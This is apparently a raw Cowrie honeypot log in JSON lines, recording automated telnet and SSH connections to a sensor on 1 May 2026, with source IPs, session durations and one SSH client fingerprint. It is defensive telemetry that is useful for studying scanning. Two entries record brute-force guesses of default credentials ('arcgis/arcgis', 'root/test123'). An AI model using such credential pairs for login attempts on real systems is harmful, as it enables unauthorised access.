{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":41542,"dst_ip":"10.17.0.5","dst_port":23,"session":"b19445eb56fa","protocol":"telnet","message":"New connection: 162.214.112.92:41542 (10.17.0.5:23) [session: b19445eb56fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.265779Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":51314,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d658f610579","protocol":"telnet","message":"New connection: 64.235.40.29:51314 (10.17.0.5:23) [session: 6d658f610579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.308137Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":47620,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae67dfff91b9","protocol":"telnet","message":"New connection: 99.198.111.122:47620 (10.17.0.5:23) [session: ae67dfff91b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.622560Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":56126,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ad1042a23a5","protocol":"telnet","message":"New connection: 104.207.153.205:56126 (10.17.0.5:23) [session: 5ad1042a23a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.678888Z"}
{"eventid":"cowrie.session.closed","duration":31.16473650932312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.828821Z","src_ip":"99.198.111.122","session":"3f3136627b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":41696,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c4c528066a1","protocol":"telnet","message":"New connection: 162.214.112.92:41696 (10.17.0.5:23) [session: 9c4c528066a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:12.945632Z"}
{"eventid":"cowrie.session.closed","duration":30.113828659057617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:13.010726Z","src_ip":"216.22.21.200","session":"71b6707dff3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5901939868927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:13.033127Z","src_ip":"99.198.111.122","session":"1bfdb0a2a988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48714,"dst_ip":"10.17.0.5","dst_port":23,"session":"343180ff9a60","protocol":"telnet","message":"New connection: 99.198.111.122:48714 (10.17.0.5:23) [session: 343180ff9a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:13.073275Z"}
{"eventid":"cowrie.session.closed","duration":30.400049924850464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:13.136894Z","src_ip":"160.250.4.73","session":"891813af435b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":49214,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0b837e5074","protocol":"telnet","message":"New connection: 99.198.111.122:49214 (10.17.0.5:23) [session: 6e0b837e5074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:13.262323Z"}
{"eventid":"cowrie.session.closed","duration":30.442991733551025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:13.267734Z","src_ip":"99.198.111.122","session":"24547f6a51b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":40498,"dst_ip":"10.17.0.5","dst_port":23,"session":"f486c0a95b2b","protocol":"telnet","message":"New connection: 135.148.33.217:40498 (10.17.0.5:23) [session: f486c0a95b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:13.366260Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":50088,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5cdab8b205","protocol":"telnet","message":"New connection: 99.198.111.122:50088 (10.17.0.5:23) [session: bf5cdab8b205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:13.618665Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":50236,"dst_ip":"10.17.0.5","dst_port":23,"session":"03646075ea97","protocol":"telnet","message":"New connection: 99.198.111.122:50236 (10.17.0.5:23) [session: 03646075ea97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:13.686439Z"}
{"eventid":"cowrie.session.closed","duration":30.37572956085205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.010053Z","src_ip":"216.22.21.200","session":"74a9f26f52cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.055840730667114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.015178Z","src_ip":"135.148.33.217","session":"317263e9621d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19039821624756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.043046Z","src_ip":"135.148.33.217","session":"579b00f73dd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48320,"dst_ip":"159.203.135.109","dst_port":22,"session":"b14fef396fdf","protocol":"ssh","message":"New connection: 159.203.92.129:48320 (159.203.135.109:22) [session: b14fef396fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.464953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.470843Z","src_ip":"159.203.92.129","session":"b14fef396fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.476518Z","src_ip":"159.203.92.129","session":"b14fef396fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arcgis","password":"arcgis","message":"login attempt [arcgis/arcgis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.488216Z","src_ip":"159.203.92.129","session":"b14fef396fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.357996225357056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.505390Z","src_ip":"64.235.40.29","session":"5de6c855cc3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128565311431885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.600204Z","src_ip":"216.22.21.200","session":"60bd64150a16","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.726907Z","src_ip":"122.168.114.167","session":"6e0292f87d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":54244,"dst_ip":"10.17.0.5","dst_port":23,"session":"b81c66a6b9a8","protocol":"telnet","message":"New connection: 195.154.29.177:54244 (10.17.0.5:23) [session: b81c66a6b9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:14.813268Z"}
{"eventid":"cowrie.session.closed","duration":31.696261644363403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.020674Z","src_ip":"64.235.40.29","session":"da4bf86e9cf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":43008,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dd801dd0677","protocol":"telnet","message":"New connection: 135.148.33.217:43008 (10.17.0.5:23) [session: 5dd801dd0677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.031857Z"}
{"eventid":"cowrie.session.closed","duration":30.57148051261902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.040812Z","src_ip":"135.148.33.217","session":"9b1461f1fdcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.366175651550293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.102926Z","src_ip":"64.235.40.29","session":"761110b1611c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":54158,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb714884177","protocol":"telnet","message":"New connection: 99.198.111.122:54158 (10.17.0.5:23) [session: fbb714884177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.108770Z"}
{"eventid":"cowrie.session.closed","duration":30.341580867767334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.273723Z","src_ip":"195.154.29.177","session":"fbc23e14270b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260210514068604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.284672Z","src_ip":"195.154.29.177","session":"d4ca256f11cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.166478157043457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.397305Z","src_ip":"99.198.111.122","session":"d3851861c33c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":43592,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd48e9e3b311","protocol":"telnet","message":"New connection: 135.148.33.217:43592 (10.17.0.5:23) [session: cd48e9e3b311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.428288Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":54946,"dst_ip":"10.17.0.5","dst_port":23,"session":"88657106ebab","protocol":"telnet","message":"New connection: 99.198.111.122:54946 (10.17.0.5:23) [session: 88657106ebab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.440481Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.494341Z","src_ip":"159.203.92.129","session":"b14fef396fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":59688,"dst_ip":"10.17.0.5","dst_port":23,"session":"90c044f6c4b8","protocol":"telnet","message":"New connection: 216.22.21.200:59688 (10.17.0.5:23) [session: 90c044f6c4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:15.993907Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":56272,"dst_ip":"10.17.0.5","dst_port":23,"session":"04f54fd9e7fb","protocol":"telnet","message":"New connection: 99.198.111.122:56272 (10.17.0.5:23) [session: 04f54fd9e7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:16.025571Z"}
{"eventid":"cowrie.session.closed","duration":30.308194875717163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:16.053939Z","src_ip":"64.235.40.29","session":"32a258c79573","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897380352020264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:16.065205Z","src_ip":"64.235.40.29","session":"262b2672bdc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.083990573883057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:16.071050Z","src_ip":"216.22.21.200","session":"b52dc3cbc467","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.765577793121338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:16.110407Z","src_ip":"104.207.153.205","session":"f1634bc884fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635711431503296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:16.128062Z","src_ip":"99.198.111.122","session":"01611c57952e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":56750,"dst_ip":"10.17.0.5","dst_port":23,"session":"eaf8157da9fd","protocol":"telnet","message":"New connection: 99.198.111.122:56750 (10.17.0.5:23) [session: eaf8157da9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:16.248766Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":37588,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee214bdc5be1","protocol":"telnet","message":"New connection: 64.235.40.29:37588 (10.17.0.5:23) [session: ee214bdc5be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:16.905894Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":45694,"dst_ip":"10.17.0.5","dst_port":23,"session":"398390473726","protocol":"telnet","message":"New connection: 135.148.33.217:45694 (10.17.0.5:23) [session: 398390473726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:16.997351Z"}
{"eventid":"cowrie.session.closed","duration":30.50609278678894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:17.185054Z","src_ip":"160.250.4.73","session":"b296afab5933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313331604003906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:17.234496Z","src_ip":"104.207.153.205","session":"68ed168bf73c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.301532745361328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:17.282259Z","src_ip":"195.154.29.177","session":"2f0a3f96ecbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":38238,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f8fae6e7c78","protocol":"telnet","message":"New connection: 195.154.29.177:38238 (10.17.0.5:23) [session: 2f8fae6e7c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.203035Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33334,"dst_ip":"10.17.0.5","dst_port":23,"session":"f05527b31e23","protocol":"telnet","message":"New connection: 99.198.111.122:33334 (10.17.0.5:23) [session: f05527b31e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.213052Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33462,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd8c2a3e88e5","protocol":"telnet","message":"New connection: 99.198.111.122:33462 (10.17.0.5:23) [session: dd8c2a3e88e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.273429Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33598,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b55ff8d913c","protocol":"telnet","message":"New connection: 99.198.111.122:33598 (10.17.0.5:23) [session: 2b55ff8d913c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.321755Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33588,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ff736da3c7f","protocol":"telnet","message":"New connection: 99.198.111.122:33588 (10.17.0.5:23) [session: 2ff736da3c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.325425Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34412,"dst_ip":"10.17.0.5","dst_port":23,"session":"34c5878b8339","protocol":"telnet","message":"New connection: 99.198.111.122:34412 (10.17.0.5:23) [session: 34c5878b8339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.614172Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":34160,"dst_ip":"10.17.0.5","dst_port":23,"session":"f479bb14e443","protocol":"telnet","message":"New connection: 216.22.21.200:34160 (10.17.0.5:23) [session: f479bb14e443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.688301Z"}
{"eventid":"cowrie.session.closed","duration":"19.6","message":"Connection lost after 19.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.770625Z","src_ip":"122.168.114.167","session":"6e0292f87d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":40642,"dst_ip":"10.17.0.5","dst_port":23,"session":"93e5bbda38eb","protocol":"telnet","message":"New connection: 195.154.29.177:40642 (10.17.0.5:23) [session: 93e5bbda38eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.878199Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":48626,"dst_ip":"10.17.0.5","dst_port":23,"session":"8809237d6107","protocol":"telnet","message":"New connection: 135.148.33.217:48626 (10.17.0.5:23) [session: 8809237d6107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.929937Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":37592,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b19a363379b","protocol":"telnet","message":"New connection: 64.235.40.29:37592 (10.17.0.5:23) [session: 3b19a363379b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:18.944954Z"}
{"eventid":"cowrie.session.closed","duration":30.777273893356323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.023258Z","src_ip":"216.22.21.200","session":"46974acd5fe6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530803680419922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.040290Z","src_ip":"64.235.40.29","session":"69c8172e2978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011805295944214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.076875Z","src_ip":"64.235.40.29","session":"f4dfc29550f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":43206,"dst_ip":"10.17.0.5","dst_port":23,"session":"97537bec9b80","protocol":"telnet","message":"New connection: 162.214.112.92:43206 (10.17.0.5:23) [session: 97537bec9b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.130605Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":37594,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e45f225feb","protocol":"telnet","message":"New connection: 64.235.40.29:37594 (10.17.0.5:23) [session: b8e45f225feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.202910Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":34702,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4abec945efe","protocol":"telnet","message":"New connection: 216.22.21.200:34702 (10.17.0.5:23) [session: a4abec945efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.323166Z"}
{"eventid":"cowrie.session.closed","duration":30.769570112228394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.329046Z","src_ip":"216.22.21.200","session":"d5f379aa8a74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":33938,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d8189d95118","protocol":"telnet","message":"New connection: 216.22.21.200:33938 (10.17.0.5:23) [session: 0d8189d95118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.479330Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39634,"dst_ip":"10.17.0.5","dst_port":23,"session":"251a3ea067c1","protocol":"telnet","message":"New connection: 64.235.40.29:39634 (10.17.0.5:23) [session: 251a3ea067c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.618996Z"}
{"eventid":"cowrie.session.closed","duration":0.005628347396850586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:19.624491Z","src_ip":"64.235.40.29","session":"251a3ea067c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918727159500122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:20.042893Z","src_ip":"99.198.111.122","session":"e73535d50ec0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.179666996002197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:20.061475Z","src_ip":"135.148.33.217","session":"5e3b3dc1d4d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89884877204895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:20.116724Z","src_ip":"216.22.21.200","session":"d22604eca9c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.338831186294556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:56:20.141680Z","src_ip":"160.250.4.73","session":"edb7c98a3059","protocol":"telnet"}
